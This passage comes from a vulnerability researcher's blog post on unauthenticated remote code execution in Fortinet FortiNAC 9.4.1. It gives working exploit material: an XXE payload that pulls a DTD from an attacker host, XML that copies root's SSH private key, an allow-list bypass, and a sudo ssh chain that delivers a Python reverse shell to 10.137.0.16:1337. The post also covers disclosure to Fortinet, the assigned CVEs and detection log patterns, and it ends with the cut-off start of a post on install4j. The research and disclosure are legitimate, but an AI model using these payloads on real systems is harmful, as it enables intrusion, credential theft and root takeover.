				<span class="kd">final</span> <span class="nc">Node</span> <span class="n">val</span> <span class="o">=</span> <span class="n">node</span><span class="o">.</span><span class="na">getFirstChild</span><span class="o">();</span>
				<span class="k">if</span> <span class="o">(</span><span class="n">val</span> <span class="o">!=</span> <span class="kc">null</span> <span class="o">&amp;&amp;</span> <span class="n">val</span><span class="o">.</span><span class="na">getNodeValue</span><span class="o">()</span> <span class="o">!=</span> <span class="kc">null</span><span class="o">)</span> <span class="o">{</span>
					<span class="n">values</span><span class="o">[</span><span class="n">i</span><span class="o">]</span> <span class="o">=</span> <span class="n">val</span><span class="o">.</span><span class="na">getNodeValue</span><span class="o">();</span>
				<span class="o">}</span>
			<span class="o">}</span>
		<span class="o">}</span>
		<span class="k">return</span> <span class="n">values</span><span class="o">;</span>
	<span class="o">}</span>

	<span class="kd">private</span> <span class="kd">static</span> <span class="kt">void</span> <span class="nf">checkXml</span><span class="o">(</span><span class="nc">String</span> <span class="n">xml</span><span class="o">)</span> <span class="kd">throws</span> <span class="nc">Exception</span> <span class="o">{</span>
		<span class="kd">final</span> <span class="nc">StringReader</span> <span class="n">reader</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">StringReader</span><span class="o">(</span><span class="n">xml</span><span class="o">);</span>
		<span class="kd">final</span> <span class="nc">InputSource</span> <span class="n">source</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">InputSource</span><span class="o">(</span><span class="n">reader</span><span class="o">);</span>
		<span class="kd">final</span> <span class="nc">DocumentBuilderFactory</span> <span class="n">factory</span> <span class="o">=</span> <span class="nc">DocumentBuilderFactory</span><span class="o">.</span><span class="na">newInstance</span><span class="o">();</span>
		<span class="kd">final</span> <span class="nc">DocumentBuilder</span> <span class="n">builder</span> <span class="o">=</span> <span class="n">factory</span><span class="o">.</span><span class="na">newDocumentBuilder</span><span class="o">();</span>
		<span class="kd">final</span> <span class="nc">Document</span> <span class="n">doc</span> <span class="o">=</span> <span class="n">builder</span><span class="o">.</span><span class="na">parse</span><span class="o">(</span><span class="n">source</span><span class="o">);</span>
		<span class="n">doc</span><span class="o">.</span><span class="na">getDocumentElement</span><span class="o">().</span><span class="na">normalize</span><span class="o">();</span>
		<span class="nc">String</span> <span class="n">commandName</span> <span class="o">=</span> <span class="n">getXmlValue</span><span class="o">(</span><span class="n">doc</span><span class="o">,</span> <span class="s">"commandName"</span><span class="o">);</span>
		<span class="k">if</span> <span class="o">(</span><span class="n">commandName</span> <span class="o">!=</span> <span class="kc">null</span><span class="o">)</span> <span class="o">{</span>
			<span class="nc">System</span><span class="o">.</span><span class="na">out</span><span class="o">.</span><span class="na">println</span><span class="o">(</span><span class="n">commandName</span><span class="o">.</span><span class="na">trim</span><span class="o">().</span><span class="na">toString</span><span class="o">());</span>
		<span class="o">}</span>
		<span class="kd">final</span> <span class="nc">String</span><span class="o">[]</span> <span class="n">tmp</span> <span class="o">=</span> <span class="n">getXmlValues</span><span class="o">(</span><span class="n">doc</span><span class="o">,</span> <span class="s">"arg"</span><span class="o">);</span>
		<span class="k">if</span> <span class="o">(</span><span class="n">tmp</span> <span class="o">!=</span> <span class="kc">null</span><span class="o">)</span> <span class="o">{</span>
			<span class="k">for</span><span class="o">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="o">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">tmp</span><span class="o">.</span><span class="na">length</span><span class="o">;</span> <span class="o">++</span><span class="n">i</span><span class="o">)</span>
				<span class="nc">System</span><span class="o">.</span><span class="na">out</span><span class="o">.</span><span class="na">println</span><span class="o">(</span><span class="n">tmp</span><span class="o">[</span><span class="n">i</span><span class="o">]);</span>
		<span class="o">}</span>
	<span class="o">}</span>

<span class="o">}</span>
</code></pre></div></div>

<p>You could now provide an arbitrary <code class="language-plaintext highlighter-rouge">text.xml</code> file and running this code will give you an output file <code class="language-plaintext highlighter-rouge">test_packet</code>. This then could be directly delivered to the TCP port 5555 via <code class="language-plaintext highlighter-rouge">ncat --ssl</code>.</p>

<p>Let’s test the following XXE primitive, i.e. we build a <code class="language-plaintext highlighter-rouge">test.xml</code> with the following content:</p>

<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">&lt;?xml version="1.0" encoding="utf-8"?&gt;</span>
<span class="cp">&lt;!DOCTYPE data SYSTEM "http://10.137.0.16:1337/parameterEntity_oob.dtd"&gt;</span>
<span class="nt">&lt;data&gt;</span><span class="ni">&amp;send;</span><span class="nt">&lt;/data&gt;</span>
</code></pre></div></div>

<p>After running our <code class="language-plaintext highlighter-rouge">BuildPacket</code> program on it, the <code class="language-plaintext highlighter-rouge">test_packet</code> file is delivered to the FortiNAC instance via <code class="language-plaintext highlighter-rouge">ncat --ssl 10.137.0.34 5555 &lt; test_packet</code>.</p>

<p><img src="/assets/images/fortinac/fortinacXXE.png" alt="fortinacXXE.png" /></p>

<p>But “only” getting <strong>unauthenticated XXE</strong> didn’t meet my expectations for what I’ve seen so far. Let’s dig deeper!</p>

<h3 id="argument-injection">Argument Injection</h3>

<p>If someone sees a name like <code class="language-plaintext highlighter-rouge">com.bsc.server.CampusManager.CommandObject</code>, we <em>have to</em> dig deeper as hackers, don’t we? Thus, we have another look into the method <code class="language-plaintext highlighter-rouge">com.bsc.server.CampusManager.processPacket(CampusManagerPacket packet)</code>, especially the part of where the <code class="language-plaintext highlighter-rouge">verb</code> is equal to <code class="language-plaintext highlighter-rouge">5</code>.</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">...</span>
<span class="k">else</span> <span class="nf">if</span> <span class="o">(</span><span class="n">verb</span> <span class="o">==</span> <span class="mi">5</span><span class="o">)</span> <span class="o">{</span>
    <span class="kd">final</span> <span class="nc">CommandObject</span> <span class="n">obj</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">CommandObject</span><span class="o">(</span><span class="n">packet</span><span class="o">.</span><span class="na">getXml</span><span class="o">());</span>
    <span class="k">this</span><span class="o">.</span><span class="na">log</span><span class="o">(</span><span class="n">obj</span><span class="o">.</span><span class="na">toString</span><span class="o">());</span>
    <span class="k">if</span> <span class="o">(</span><span class="n">obj</span><span class="o">.</span><span class="na">commandName</span> <span class="o">==</span> <span class="kc">null</span> <span class="o">||</span> <span class="o">!</span><span class="k">this</span><span class="o">.</span><span class="na">isAllowedRemoteCommand</span><span class="o">(</span><span class="n">obj</span><span class="o">.</span><span class="na">commandName</span><span class="o">))</span> <span class="o">{</span> <span class="c1">// [17]</span>
        <span class="k">this</span><span class="o">.</span><span class="na">log</span><span class="o">(</span><span class="s">"WARNING: remote command not allowed ("</span> <span class="o">+</span> <span class="n">obj</span><span class="o">.</span><span class="na">commandName</span> <span class="o">+</span> <span class="s">")"</span><span class="o">);</span>
        <span class="k">throw</span> <span class="k">new</span> <span class="nf">Exception</span><span class="o">(</span><span class="s">"Remote command not allowed ("</span> <span class="o">+</span> <span class="n">obj</span><span class="o">.</span><span class="na">commandName</span> <span class="o">+</span> <span class="s">")"</span><span class="o">);</span>
    <span class="o">}</span>
    <span class="k">try</span> <span class="o">{</span>
        <span class="k">this</span><span class="o">.</span><span class="na">commandVector</span><span class="o">.</span><span class="na">put</span><span class="o">(</span><span class="n">obj</span><span class="o">);</span> <span class="c1">// [18]</span>
    <span class="o">}</span>
	<span class="o">...</span>
</code></pre></div></div>

<p>The <code class="language-plaintext highlighter-rouge">CommandObject</code> holds an attribute <code class="language-plaintext highlighter-rouge">commandName</code> which is checked here against a list of <strong>allowed remote commands</strong> in <code class="language-plaintext highlighter-rouge">[17]</code>. If this turns out to be fine, at <code class="language-plaintext highlighter-rouge">[18]</code> the <code class="language-plaintext highlighter-rouge">CommandObject</code> is put into <code class="language-plaintext highlighter-rouge">commandVector</code> of type <code class="language-plaintext highlighter-rouge">BlockingQueue&lt;CommandObject&gt;</code>. But how are these commands executed and which ones are allowed at all?</p>

<p>We check the allow list implementation first in <code class="language-plaintext highlighter-rouge">com.bsc.server.CampusManager.isAllowedRemoteCommand(String cmd)</code>.</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">private</span> <span class="kt">boolean</span> <span class="nf">isAllowedRemoteCommand</span><span class="o">(</span><span class="kd">final</span> <span class="nc">String</span> <span class="n">cmd</span><span class="o">)</span> <span class="o">{</span>
    <span class="kt">boolean</span> <span class="n">retval</span> <span class="o">=</span> <span class="kc">false</span><span class="o">;</span>
    <span class="kd">final</span> <span class="nc">String</span> <span class="n">val</span> <span class="o">=</span> <span class="k">this</span><span class="o">.</span><span class="na">configManager</span><span class="o">.</span><span class="na">getValue</span><span class="o">(</span><span class="s">"ALLOWED_REMOTE_CMDS"</span><span class="o">);</span> <span class="c1">// [19]</span>
    <span class="k">if</span> <span class="o">(</span><span class="n">val</span> <span class="o">!=</span> <span class="kc">null</span> <span class="o">&amp;&amp;</span> <span class="n">val</span><span class="o">.</span><span class="na">length</span><span class="o">()</span> <span class="o">&gt;</span> <span class="mi">0</span><span class="o">)</span> <span class="o">{</span>
        <span class="kd">final</span> <span class="nc">String</span><span class="o">[]</span> <span class="n">split</span><span class="o">;</span>
        <span class="kd">final</span> <span class="nc">String</span><span class="o">[]</span> <span class="n">arr</span> <span class="o">=</span> <span class="n">split</span> <span class="o">=</span> <span class="n">val</span><span class="o">.</span><span class="na">split</span><span class="o">(</span><span class="s">","</span><span class="o">);</span>
        <span class="k">for</span> <span class="o">(</span><span class="kd">final</span> <span class="nc">String</span> <span class="n">s</span> <span class="o">:</span> <span class="n">split</span><span class="o">)</span> <span class="o">{</span>
            <span class="k">if</span> <span class="o">(</span><span class="n">cmd</span><span class="o">.</span><span class="na">contains</span><span class="o">(</span><span class="n">s</span><span class="o">))</span> <span class="o">{</span>
                <span class="n">retval</span> <span class="o">=</span> <span class="kc">true</span><span class="o">;</span>
                <span class="k">break</span><span class="o">;</span>
            <span class="o">}</span>
        <span class="o">}</span>
    <span class="o">}</span>
	<span class="o">...</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">ALLOWED_REMOTE_CMDS</code> at <code class="language-plaintext highlighter-rouge">[19]</code> seems to be a list, defined elsewhere, containing comma separated values for valid commands. We find this value being defined in <code class="language-plaintext highlighter-rouge">/bsc/campusMgr/master_loader/.cm</code>.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">ALLOWED_REMOTE_CMDS</span><span class="o">=</span>installAgentPackage,configApache,install-bin
</code></pre></div></div>

<p>We start to look for these scripts or binaries on the FortiNAC instance and find them quickly, e.g. a shell script <code class="language-plaintext highlighter-rouge">/bsc/campusMgr/bin/installAgentPackage</code>. The reachable part in this script is shown next.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">else
    </span><span class="nb">cp</span> <span class="nv">$1</span>/<span class="nv">$2</span> /bsc/campusMgr/agent/packages
<span class="k">fi</span>
</code></pre></div></div>

<p>for which we presumably have control over the argument parameters <code class="language-plaintext highlighter-rouge">$1</code> and <code class="language-plaintext highlighter-rouge">$2</code>. That’s a good theory but can we really call this script with arbitrary arguments delivered through an XML over TCP port 5555? Following the code a bit further reveals how this <code class="language-plaintext highlighter-rouge">commandVector</code> is used later on.</p>

<p>There is another <code class="language-plaintext highlighter-rouge">java.lang.Thread</code> extending class <code class="language-plaintext highlighter-rouge">com.bsc.server.CampusManager.CommandThread</code> which periodically takes care of checking some lists for new members. How does the <code class="language-plaintext highlighter-rouge">run()</code> method look like?</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nd">@Override</span>
<span class="kd">public</span> <span class="kt">void</span> <span class="nf">run</span><span class="o">()</span> <span class="o">{</span>
    <span class="k">while</span> <span class="o">(!</span><span class="nc">CampusManager</span><span class="o">.</span><span class="na">this</span><span class="o">.</span><span class="na">shutdown</span><span class="o">)</span> <span class="o">{</span>
        <span class="nc">CommandObject</span> <span class="n">obj</span> <span class="o">=</span> <span class="kc">null</span><span class="o">;</span>
        <span class="k">try</span> <span class="o">{</span>
            <span class="kt">boolean</span> <span class="n">done</span> <span class="o">=</span> <span class="kc">false</span><span class="o">;</span>
            <span class="kd">final</span> <span class="kt">long</span> <span class="n">startTime</span> <span class="o">=</span> <span class="nc">System</span><span class="o">.</span><span class="na">currentTimeMillis</span><span class="o">();</span>
            <span class="k">while</span> <span class="o">(!</span><span class="n">done</span><span class="o">)</span> <span class="o">{</span>
                <span class="n">done</span> <span class="o">=</span> <span class="kc">true</span><span class="o">;</span>
                <span class="k">for</span> <span class="o">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="o">;</span> <span class="n">done</span> <span class="o">&amp;&amp;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="k">this</span><span class="o">.</span><span class="na">commands</span><span class="o">.</span><span class="na">size</span><span class="o">();</span> <span class="o">++</span><span class="n">i</span><span class="o">)</span> <span class="o">{</span>
                    <span class="kd">final</span> <span class="nc">CommandObject</span> <span class="n">val</span> <span class="o">=</span> <span class="k">this</span><span class="o">.</span><span class="na">commands</span><span class="o">.</span><span class="na">get</span><span class="o">(</span><span class="n">i</span><span class="o">);</span>
                    <span class="k">if</span> <span class="o">(</span><span class="n">val</span> <span class="o">!=</span> <span class="kc">null</span> <span class="o">&amp;&amp;</span> <span class="n">val</span><span class="o">.</span><span class="na">time</span> <span class="o">+</span> <span class="mi">600000L</span> <span class="o">&lt;</span> <span class="n">startTime</span><span class="o">)</span> <span class="o">{</span>
                        <span class="k">this</span><span class="o">.</span><span class="na">commands</span><span class="o">.</span><span class="na">remove</span><span class="o">(</span><span class="n">i</span><span class="o">);</span>
                        <span class="n">done</span> <span class="o">=</span> <span class="kc">false</span><span class="o">;</span>
                    <span class="o">}</span>
                <span class="o">}</span>
            <span class="o">}</span>
            <span class="n">obj</span> <span class="o">=</span> <span class="nc">CampusManager</span><span class="o">.</span><span class="na">this</span><span class="o">.</span><span class="na">commandVector</span><span class="o">.</span><span class="na">take</span><span class="o">();</span> <span class="c1">// [20]</span>
            <span class="k">if</span> <span class="o">(!</span><span class="nc">CampusManager</span><span class="o">.</span><span class="na">this</span><span class="o">.</span><span class="na">shutdown</span> <span class="o">&amp;&amp;</span> <span class="n">obj</span> <span class="o">!=</span> <span class="kc">null</span> <span class="o">&amp;&amp;</span> <span class="n">obj</span><span class="o">.</span><span class="na">commandName</span> <span class="o">!=</span> <span class="kc">null</span> <span class="o">&amp;&amp;</span> <span class="n">obj</span><span class="o">.</span><span class="na">args</span> <span class="o">!=</span> <span class="kc">null</span><span class="o">)</span> <span class="o">{</span>
                <span class="k">this</span><span class="o">.</span><span class="na">commands</span><span class="o">.</span><span class="na">remove</span><span class="o">(</span><span class="n">obj</span><span class="o">);</span>
                <span class="k">this</span><span class="o">.</span><span class="na">commands</span><span class="o">.</span><span class="na">add</span><span class="o">(</span><span class="n">obj</span><span class="o">);</span>
                <span class="nc">String</span> <span class="n">systemCommand</span> <span class="o">=</span> <span class="n">obj</span><span class="o">.</span><span class="na">commandName</span><span class="o">.</span><span class="na">trim</span><span class="o">();</span> <span class="c1">// [21]</span>
                <span class="k">for</span> <span class="o">(</span><span class="kt">int</span> <span class="n">j</span> <span class="o">=</span> <span class="mi">0</span><span class="o">;</span> <span class="n">j</span> <span class="o">&lt;</span> <span class="n">obj</span><span class="o">.</span><span class="na">args</span><span class="o">.</span><span class="na">length</span><span class="o">;</span> <span class="o">++</span><span class="n">j</span><span class="o">)</span> <span class="o">{</span>
                    <span class="k">if</span> <span class="o">(</span><span class="n">obj</span><span class="o">.</span><span class="na">args</span><span class="o">[</span><span class="n">j</span><span class="o">]</span> <span class="o">!=</span> <span class="kc">null</span><span class="o">)</span> <span class="o">{</span>
                        <span class="n">systemCommand</span> <span class="o">=</span> <span class="n">systemCommand</span> <span class="o">+</span> <span class="s">" "</span> <span class="o">+</span> <span class="n">obj</span><span class="o">.</span><span class="na">args</span><span class="o">[</span><span class="n">j</span><span class="o">].</span><span class="na">trim</span><span class="o">();</span> <span class="c1">// [22]</span>
                    <span class="o">}</span>
                <span class="o">}</span>
                <span class="nc">CampusManager</span><span class="o">.</span><span class="na">this</span><span class="o">.</span><span class="na">log</span><span class="o">(</span><span class="s">"Running command = "</span> <span class="o">+</span> <span class="n">systemCommand</span><span class="o">);</span>
                <span class="kd">final</span> <span class="nc">Process</span> <span class="n">pr</span> <span class="o">=</span> <span class="nc">Runtime</span><span class="o">.</span><span class="na">getRuntime</span><span class="o">().</span><span class="na">exec</span><span class="o">(</span><span class="s">"sudo "</span> <span class="o">+</span> <span class="n">systemCommand</span><span class="o">);</span> <span class="c1">// [23]</span>
                <span class="kd">final</span> <span class="nc">BufferedReader</span> <span class="n">input</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">BufferedReader</span><span class="o">(</span><span class="k">new</span> <span class="nc">InputStreamReader</span><span class="o">(</span><span class="n">pr</span><span class="o">.</span><span class="na">getInputStream</span><span class="o">()));</span>
                <span class="kd">final</span> <span class="nc">BufferedReader</span> <span class="n">error</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">BufferedReader</span><span class="o">(</span><span class="k">new</span> <span class="nc">InputStreamReader</span><span class="o">(</span><span class="n">pr</span><span class="o">.</span><span class="na">getErrorStream</span><span class="o">()));</span>
                <span class="n">done</span> <span class="o">=</span> <span class="kc">false</span><span class="o">;</span>
				<span class="o">...</span>
</code></pre></div></div>

<p>At <code class="language-plaintext highlighter-rouge">[20]</code> the <code class="language-plaintext highlighter-rouge">commandVector</code> queue is checked for entries by retrieving and removing the head of the queue. From an entry, it takes the <code class="language-plaintext highlighter-rouge">commandName</code> value <code class="language-plaintext highlighter-rouge">[21]</code> as <code class="language-plaintext highlighter-rouge">systemCommand</code>, iterates over a list of <code class="language-plaintext highlighter-rouge">args</code> values and <em>concatenates</em>  them into a single String <code class="language-plaintext highlighter-rouge">[22]</code>. Finally, at <code class="language-plaintext highlighter-rouge">[23]</code> the overall command gets executed with a classic <code class="language-plaintext highlighter-rouge">java.lang.Runtime.getRuntime().exec(String command)</code> call. And…with <code class="language-plaintext highlighter-rouge">sudo</code> which means <strong>built-in privilege escalation from <code class="language-plaintext highlighter-rouge">nac</code> to <code class="language-plaintext highlighter-rouge">root</code></strong>.</p>

<p>Well, we seem to be restricted to the <em>allowed commands</em> but these already are quite powerful. For a proof-of-concept argument injection payload we build another <code class="language-plaintext highlighter-rouge">test.xml</code>.</p>

<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">&lt;?xml version="1.0" encoding="utf-8"?&gt;</span>
<span class="nt">&lt;commandName&gt;</span>installAgentPackage
<span class="nt">&lt;arg&gt;</span>/root
<span class="nt">&lt;/arg&gt;</span>
<span class="nt">&lt;arg&gt;</span>
.ssh/id_rsa
<span class="nt">&lt;/arg&gt;</span>
<span class="nt">&lt;/commandName&gt;</span>
</code></pre></div></div>

<p>This should copy us the SSH private key of the <code class="language-plaintext highlighter-rouge">root</code> user to the directory <code class="language-plaintext highlighter-rouge">/bsc/campusMgr/agent/packages</code>. Works just fine! With these scripts one can already do several dangerous operations on the FortiNAC instance (reconfigure the Apache!) but again: not satisfied, yet.</p>

<h3 id="allow-list-bypass---argument-injection-to-command-injection">Allow List Bypass - Argument Injection to Command Injection</h3>

<p>The experienced code auditors among you might already have spotted some flaw in the <code class="language-plaintext highlighter-rouge">com.bsc.server.CampusManager.isAllowedRemoteCommand(String cmd)</code> in the snippet above.</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">if</span> <span class="o">(</span><span class="n">cmd</span><span class="o">.</span><span class="na">contains</span><span class="o">(</span><span class="n">s</span><span class="o">))</span> <span class="o">{</span>
    <span class="n">retval</span> <span class="o">=</span> <span class="kc">true</span><span class="o">;</span>
    <span class="k">break</span><span class="o">;</span>
<span class="o">}</span>
</code></pre></div></div>

<p>The good old <code class="language-plaintext highlighter-rouge">contains</code> vs. <code class="language-plaintext highlighter-rouge">equals</code> case. Remember, we want to get rid of the argument injection case, so we’ve to get full control over the first command after <code class="language-plaintext highlighter-rouge">sudo</code>. Take this <code class="language-plaintext highlighter-rouge">test.xml</code> for example.</p>

<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">&lt;?xml version="1.0" encoding="utf-8"?&gt;</span>
<span class="nt">&lt;commandName&gt;</span>touch /tmp/RCE installAgentPackage
<span class="nt">&lt;arg&gt;</span>
<span class="nt">&lt;/arg&gt;</span>
<span class="nt">&lt;/commandName&gt;</span>
</code></pre></div></div>

<p>This <code class="language-plaintext highlighter-rouge">commandName</code> indeed contains <code class="language-plaintext highlighter-rouge">installAgentPackage</code>, an allowed command. This will indeed execute as expected, <strong>giving us unauthenticated RCE</strong>, at least from a proof-of-concept point of view. But what we really want is a reverse shell or so. This time, we borrow a <a href="https://codewhitesec.blogspot.com/2015/03/sh-or-getting-shell-environment-from.html">well-known trick to get a full shell environment</a> in <code class="language-plaintext highlighter-rouge">Runtime.getRuntime().exec</code> calls. A new <code class="language-plaintext highlighter-rouge">text.xml</code>, please.</p>

<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">&lt;?xml version="1.0" encoding="utf-8"?&gt;</span>
<span class="nt">&lt;commandName&gt;</span>bash -c $@|bash installAgentPackage echo touch /tmp/RCE
<span class="nt">&lt;arg&gt;</span>
<span class="nt">&lt;/arg&gt;</span>
<span class="nt">&lt;/commandName&gt;</span>
</code></pre></div></div>

<p>Deliver and….nothing, no new file <code class="language-plaintext highlighter-rouge">/tmp/RCE</code> created. Luckily, extended logging is enabled by default at FortiNACs and found in e.g. <code class="language-plaintext highlighter-rouge">/bsc/logs/output.processManager</code>.</p>

<pre><code class="language-log">yams.CampusManager INFO :: 2023-03-26 10:53:09:958 :: #386 :: commandName = bash -c $@|bash installAgentPackage echo touch /tmp/RCE
buffer = 
time = 0
retval = false

yams.CampusManager INFO :: 2023-03-26 10:53:09:958 :: #386 :: isAllowedCommand(bash -c $@|bash installAgentPackage echo touch /tmp/RCE) true
yams.CampusManager INFO :: 2023-03-26 10:53:09:958 :: #15 :: Running command = bash -c $@|bash installAgentPackage echo touch /tmp/RCE 
yams.CampusManager INFO :: 2023-03-26 10:53:10:959 :: #15 :: Sorry, user nac is not allowed to execute '/bin/bash -c $@|bash installAgentPackage echo touch /tmp/RCE' as root on localhost.localdomain.
</code></pre>

<p><code class="language-plaintext highlighter-rouge">isAllowedCommand(bash -c $@|bash installAgentPackage echo touch /tmp/RCE) true</code> sounds good but this is new to us: <code class="language-plaintext highlighter-rouge">Sorry, user nac is not allowed to execute '/bin/bash -c $@|bash installAgentPackage echo touch /tmp/RCE' as root on localhost.localdomain.</code></p>

<h3 id="sudo-restriction-bypass">Sudo Restriction Bypass</h3>

<p>Being able to execute commands with <code class="language-plaintext highlighter-rouge">sudo</code> usually is a nice gift for attackers but you can also restrict a lot of things to make someones life a bit harder. For the user <code class="language-plaintext highlighter-rouge">nac</code> an extra “sudoers” file exists at <code class="language-plaintext highlighter-rouge">/etc/sudoers.d/nac</code>. This file contains a lot of stuff but I’ll only present the relevant pieces again.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>...
User_Alias NAC_MGMT <span class="o">=</span> tomcat, nac
...
Cmnd_Alias NAC_MGMT_COMMANDS <span class="o">=</span> <span class="se">\</span>
                         /bin/cp, <span class="se">\</span>
                         /usr/bin/nmap, <span class="se">\</span>
                         /usr/bin/scp, <span class="se">\</span>
                         /usr/bin/ssh, <span class="se">\</span>
                         /usr/bin/openssl, <span class="se">\</span>
                         /bin/ln, <span class="se">\</span>
                         /bin/hostname, <span class="se">\</span>
						 ...
</code></pre></div></div>

<p>The <code class="language-plaintext highlighter-rouge">nac</code> user has <strong>a lot of commands</strong> available to be executed with root privileges. I didn’t even know which one to choose first :-P.</p>

<p>But starting from the very beginning of the list, I hit the <code class="language-plaintext highlighter-rouge">ssh</code> command within seconds. SSH to localhost with appending an arbitrary command should be as easy as this <code class="language-plaintext highlighter-rouge">test.xml</code>.</p>

<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">&lt;?xml version="1.0" encoding="utf-8"?&gt;</span>
<span class="nt">&lt;commandName&gt;</span>ssh -E installAgentPackage root@localhost
<span class="nt">&lt;arg&gt;</span>
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.137.0.16",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
<span class="nt">&lt;/arg&gt;</span>
<span class="nt">&lt;/commandName&gt;</span>
</code></pre></div></div>

<p>And here we are, getting our <strong>reverse shell as root</strong> user. <strong>Unauthenticated RCE in round 2</strong>.</p>

<p><img src="/assets/images/fortinac/fortinacRCE2.png" alt="fortinacRCE2.png" /></p>

<h2 id="conclusions">Conclusions</h2>

<p>During my disclosure process starting in <em>early March 2023</em>, I was informed that the SSH primitive in my last RCE chain was fixed independently by Fortinet’s team <a href="https://www.fortiguard.com/psirt/FG-IR-22-309">in version 9.4.2</a>, i.e. days after my submission. Since I worked on a <strong>9.4.1 version with a patch for CVE-2022-39952 only</strong>, I wasn’t aware of this at this time. Also I (still) don’t have access to 9.4.2 (or newer) virtual machine images such that I couldn’t test for additional bypasses (bet there are others). Nevertheless, for a fully patched 9.4.1 the second RCE chain was still valid and working, as are all my other findings. For 9.4.2 feel free to look for other bypasses to escalate my still valid <strong>argument injection</strong> to RCE again. Fortinet provided patches for all my other vulnerabilities although I couldn’t confirm their effectiveness. <em>Tl;dr:</em> all my exploits turned out to be fully functional and valid against <strong>9.4.1</strong>. For <strong>9.4.2</strong>, <a href="https://www.fortiguard.com/psirt/FG-IR-22-304">FG-IR-22-304</a> seemed to have been mitigated my XXE vector, <a href="https://www.fortiguard.com/psirt/FG-IR-22-309">FG-IR-22-309</a> my <code class="language-plaintext highlighter-rouge">sudo ssh</code> chain part of the second RCE. <strong>The relevant patch release 9.4.3 was already released in the beginning of April 2023 but still no security advisories, yet.</strong> This is why I informed the Fortinet PSIRT about this blog post’s release time in advance and they also acknowledged my plans to do so. The following CVEs were assigned by Fortinet.</p>

<ul>
  <li>CVE-2023-33299 (Untrusted Deserialization)</li>
  <li>CVE-2023-33300 (Command Injection)</li>
</ul>

<h2 id="internet-exposure-check">Internet Exposure Check</h2>

<p>Fortunately, not a lot of companies expose TCP ports 1050 or 5555 to the public Internet. Similar to my <a href="https://frycos.github.io/vulns4free/2023/01/24/0days-united-nations.html">UN post</a>, one interesting candidate stood out at the very top of our Censys search. A machine being part of the <em>Chemonics International, Inc.</em> company network  indeed gave access to these services. This is a well-known company closely <a href="https://www.usaspending.gov/award/CONT_AWD_AIDOAATO1500007_7200_AIDOAAI1500004_7200">working with the U.S. government</a> so I used the official <a href="https://www.cisa.gov/report">CISA reporting site</a> to forward this information to the Department of Homeland Security (DHS). A few days later the vulnerables services were found to be gone. This product is still a valuable target in Intranet assessments, though. Happy Pwning!</p>

<p><img src="/assets/images/fortinac/censys.png" alt="censys.png" /></p>

<h2 id="indicators-of-compromise-iocs">Indicators of Compromise (IoCs)</h2>

<p>Exploitation attempts could be detected by looking at the appropiate application log file.</p>

<ul>
  <li>
    <p><strong>Insecure deserialization on TCP port 1050:</strong> any stack trace in <code class="language-plaintext highlighter-rouge">/bsc/logs/output.master</code> containing <code class="language-plaintext highlighter-rouge">ObjectInputStream.readObject()</code> should be rated as suspicious.</p>
  </li>
  <li>
    <p><strong>Command injection on TCP port 5555:</strong> any occurence of <code class="language-plaintext highlighter-rouge">isAllowedCommand\(.+\) false</code>  in <code class="language-plaintext highlighter-rouge">/bsc/logs/output.processManager</code> should be rated as exploitation attempt.</p>
  </li>
</ul>]]></content><author><name></name></author><category term="vulns4free" /><summary type="html"><![CDATA[FortiNAC is a zero-trust access solution that oversees and protects all digital assets connected to the enterprise network, covering devices from IT, IoT, OT/ICS to IoMT. – https://www.fortinet.com/products/network-access-control]]></summary></entry><entry><title type="html">XXE with Auto-Update in install4j</title><link href="/vulns4free/2023/02/12/install4j-xxe.html" rel="alternate" type="text/html" title="XXE with Auto-Update in install4j" /><published>2023-02-12T23:00:00+00:00</published><updated>2023-02-12T23:00:00+00:00</updated><id>/vulns4free/2023/02/12/install4j-xxe</id><content type="html" xml:base="/vulns4free/2023/02/12/install4j-xxe.html"><![CDATA[<h1 id="storyline">Storyline</h1>

<p>In this blog post I describe a vulnerability for which I got a little bit too excited in the beginning.
It is related to a target of the <a href="https://www.zerodayinitiative.com/blog/2022/11/30/pwn2own-returns-to-miami-beach-for-2023">upcoming Pwn2Own 2023 competition</a>.
This was the first time I wanted to look for vulnerabilities in their target list and thanks to some hints from friends
I quickly chose my first (and only!) target: the <strong>Prosys OPC UA Simulation Server</strong>. Several very skilled researchers partly pwned this in former
competitions, at least parts of it with Denial-of-Service conditions, I think. My primary motivation was not to participate myself but to get a feeling
about the difficulty level of the targets.</p>

<p>During the installation routine on my Windows VM, the wizard closed with choosing an <strong><a href="https://www.ej-technologies.com/resources/install4j/help/doc/concepts/autoUpdate.html">auto update</a></strong> interval. I immediately got reminded
of several successful pwnages by former competitors targeting insecure update functions (all the love for <code class="language-plaintext highlighter-rouge">curl -k</code> &amp; Co.). Since I had only two days left (<strong>lucky punch mode?!</strong>) between Christmas and
New Year’s Eve (2022/2023), the update function seemed to be a feasible victim to hunt for.</p>

